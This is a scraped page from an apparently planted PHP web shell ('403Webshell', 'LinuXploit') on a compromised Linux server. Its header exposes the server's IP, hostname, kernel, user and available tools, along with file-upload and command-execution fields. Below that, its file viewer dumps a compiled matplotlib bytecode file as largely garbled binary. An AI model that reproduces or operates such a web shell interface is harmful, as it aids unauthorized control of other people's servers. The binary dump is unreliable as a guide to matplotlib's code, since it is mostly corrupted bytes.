403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/__pycache__/blocking_input.cpython-310.pyc
o

�:�a�+�@s�dZddlZddlmZddlmZddlmZddlm	Z
ejdedd�e�
e�ZGd	d
�d
�ZGdd�de�ZGd
d�de�ZGdd�de�ZdS)a�
Classes used for blocking interaction with figure windows:

`BlockingInput`
    Creates a callable object to retrieve events in a blocking way for
    interactive sessions.  Base class of the other classes listed here.

`BlockingKeyMouseInput`
    Creates a callable object to retrieve key or mouse clicks in a blocking
    way for interactive sessions.  Used by `~.Figure.waitforbuttonpress`.

`BlockingMouseInput`
    Creates a callable object to retrieve mouse clicks in a blocking way for
    interactive sessions.  Used by `~.Figure.ginput`.

`BlockingContourLabeler`
    Creates a callable object to retrieve mouse clicks in a blocking way that
    will then be used to place labels on a `.ContourSet`.  Used by
    `~.Axes.clabel`.
�N)�Integral)�_api)�MouseButtonz3.5�module)�name�obj_typec@sReZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zddd�Z	e	Z
ddd�ZdS)�
BlockingInputz1Callable for retrieving events in a blocking way.�cCs||_||_dS�N��fig�
eventslist)�selfrr
r	r	�;/usr/lib/python3/dist-packages/matplotlib/blocking_input.py�__init__$s
zBlockingInput.__init__cCsZ|�|�t�dt|j��|��t|j�|jkr dkr+ndS|jj�	�dSdS)zY
        Event handler; will be passed to the current figure to retrieve events.
        zEvent %irN)
�	add_event�_log�info�len�events�
post_event�nr�canvas�stop_event_loop�r�eventr	r	r�on_event(s
"�zBlockingInput.on_eventcCsdS)z-For baseclass, do nothing but collect events.Nr	�rr	r	rr8szBlockingInput.post_eventcCs$|jD]	}|jj�|�qg|_dS)zDisconnect all callbacks.N)�	callbacksrr�mpl_disconnect)r�cbr	r	r�cleanup;s

zBlockingInput.cleanupcC�|j�|�dS)z5For base class, this just appends an event to events.N)r�appendrr	r	rrAszBlockingInput.add_event���cCr")z�
        Remove an event from the event list -- by default, the last.

        Note that this does not check that there are events, much like the
        normal pop method.  If no events exist, this will throw an exception.
        N)r�pop)r�indexr	r	r�	pop_eventEszBlockingInput.pop_event��csptjt|d�|�_g�_�jjjr�j���fdd��j	D��_
z�jjj|d�W����jS���w)z%Blocking call to retrieve *n* events.)rcsg|]}�jj�|�j��qSr	)rr�mpl_connectr)�.0rrr	r�
<listcomp>Zs�z*BlockingInput.__call__.<locals>.<listcomp>)�timeout)
r�check_isinstancerrrrr�manager�showr
r�start_event_loopr!)rrr-r	rr�__call__Ps


�
�zBlockingInput.__call__N)r	�r$)r(r))�__name__�
__module__�__qualname__�__doc__rrrr!rr'r%r2r	r	r	rr!s

	rcs�eZdZdZejZejZej	Z
ejejej	f�fdd�	Zdd�Zdd�Z
dd	�Zd
d�Zdd
�Zdd�Zdd�Zddd�Zd�fdd�	Zd �fdd�	Zd!�fdd�	Z�ZS)"�BlockingMouseInputa
    Callable for retrieving mouse clicks in a blocking way.

    This class will also retrieve keypresses and map them to mouse clicks:
    delete and backspace are a right click, enter is like a middle click,
    and all others are like a left click.
    cs&t�j|dd�||_||_||_dS�N)�button_press_event�key_press_eventr)�superr�
button_add�
button_pop�button_stop)rr�	mouse_add�	mouse_pop�
mouse_stop��	__class__r	rrss�
zBlockingMouseInput.__init__cCsDt|j�dkrt�d�dS|jdjdkr|��dS|��dS)zProcess an event.rz
No events yetr$r;N)rrr�warningr�	key_event�mouse_eventrr	r	rr}s
zBlockingMouseInput.post_eventcCs\|jd}|j}||jkr|�|�dS||jkr |�|�dS||jkr,|�|�dSdS)zProcess a mouse click event.r$N)r�buttonr>�mouse_event_popr?�mouse_event_stopr=�mouse_event_add)rrrHr	r	rrG�s



�zBlockingMouseInput.mouse_eventcCsV|jd}|jdurdS|jdvr|�|�dS|jdvr$|�|�dS|�|�dS)zV
        Process a key press event, mapping keys to appropriate mouse clicks.
        r$N)�	backspace�delete)�escape�enter)r�keyrIrJrKrr	r	rrF�s



zBlockingMouseInput.key_eventcCs"|jr
|�|�dSt�|�dS)z�
        Process an button-1 event (add a click if inside axes).

        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`
        N)�inaxes�	add_clickrr%rr	r	rrK�sz"BlockingMouseInput.mouse_event_addcCst�|�|jj��dS)z�
        Process an button-2 event (end blocking input).

        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`
        N)rr%rrrrr	r	rrJ�s
	z#BlockingMouseInput.mouse_event_stopcCs"t�|�|jr|�|�dSdS)z�
        Process an button-3 event (remove the last click).

        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`
        N)rr%rrr	r	rrI�s
	�z"BlockingMouseInput.mouse_event_popcCsz|j�|j|jf�t�dt|j�|j|j�|jr;tj	|jg|jgddd�}|j
�|�|j�|�|j
j��dSdS)z�
        Add the coordinates of an event to the list of clicks.

        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`
        zinput %i: %f, %f�+�r)�marker�colorN)�clicksr#�xdata�ydatarrr�show_clicks�mlines�Line2DrQ�add_line�marksrr�draw)rr�liner	r	rrR�s���zBlockingMouseInput.add_clickr$cCs6|j�|�|jr|j�|���|jj��dSdS)z�
        Remove a click (by default, the last) from the list of clicks.

        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`
        N)rWr%rZr^�removerrr_�rrr&r	r	r�	pop_click�s
�zBlockingMouseInput.pop_clickcs|�||�t��|�dS)zw
        Remove a click and the associated event from the list of clicks.

        Defaults to the last click.
        N)rcr<r%rbrCr	rr%�szBlockingMouseInput.popNcs:|jr|jD]}|��qg|_|jj��t���dS)z{
        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`, optional
            Not used
        N)rZr^rarrr_r<r!)rr�markrCr	rr!�s

zBlockingMouseInput.cleanupr(r)Tcs(||_g|_g|_t�j||d�|jS)zV
        Blocking call to retrieve *n* coordinate pairs through mouse clicks.
        �rr-)rZrWr^r<r2)rrr-rZrCr	rr2s
zBlockingMouseInput.__call__r3r
)r(r)T)r4r5r6r7r�LEFTr=�RIGHTr>�MIDDLEr?rrrGrFrKrJrIrRrcr%r!r2�
__classcell__r	r	rCrr8fs(�
	


	r8csPeZdZdZ�fdd�Zdd�Zddd�Zd	d
�Zdd�Zd�fdd�	Z	�Z
S)�BlockingContourLabelerzt
    Callable for retrieving mouse clicks and key presses in a blocking way.

    Used to place contour labels.
    cs||_t�j|jjd�dS)N)r)�csr<r�axes�figure)rrkrCr	rrszBlockingContourLabeler.__init__cC�|�|�dSr
)�button1rr	r	rrR�z BlockingContourLabeler.add_clickr$cCrnr
)�button3rbr	r	rrcrpz BlockingContourLabeler.pop_clickcCsJ|j|jjkr|jj|j|j|j|jdd�|jj	�
�dSt�|�dS)z�
        Process an button-1 event (add a label to a contour).

        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`
        F)�inline_spacing�	transformN)
rQrk�ax�add_label_near�x�y�inlinerrrrr_rr%rr	r	rros	�zBlockingContourLabeler.button1cCs(|jrdS|j��|jjjj��dS)a�
        Process an button-3 event (remove a label if not in inline mode).

        Unfortunately, if one is doing inline labels, then there is currently
        no way to fix the broken contour - once humpty-dumpty is broken, he
        can't be put back together.  In inline mode, this does nothing.

        Parameters
        ----------
        event : `~.backend_bases.MouseEvent`
        N)rxrk�	pop_labelrtrmrr_rr	r	rrq0s
zBlockingContourLabeler.button3�cs"||_||_t�j||dd�dS)NF)rr-rZ)rxrrr<r2)rrxrrrr-rCr	rr2BszBlockingContourLabeler.__call__r3)rzr$r$)r4r5r6r7rrRrcrorqr2rir	r	rCrrjs
rjcs6eZdZdZ�fdd�Zdd�Zd	�fdd�	Z�ZS)
�BlockingKeyMouseInputzQ
    Callable for retrieving mouse clicks and key presses in a blocking way.
    cst�j|dd�dSr9)r<r)rrrCr	rrMs
�zBlockingKeyMouseInput.__init__cCs*|jr|jdjdk|_dSt�d�dS)zDetermine if it is a key event.r$r;zNo events yet.N)rr�
keyormouserrErr	r	rrQsz BlockingKeyMouseInput.post_eventr)csd|_t�jd|d�|jS)z�
        Blocking call to retrieve a single mouse click or key press.

        Returns ``True`` if key press, ``False`` if mouse click, or ``None`` if
        timed out.
        Nr(re)r|r<r2)rr-rCr	rr2XszBlockingKeyMouseInput.__call__)r))r4r5r6r7rrr2rir	r	rCrr{Hs
r{)r7�logging�numbersr�
matplotlibr�matplotlib.backend_basesr�matplotlib.lines�linesr[�warn_deprecatedr4�	getLoggerrrr8rjr{r	r	r	r�<module>s
E):

Youez - 2016 - github.com/yon3zu
LinuXploit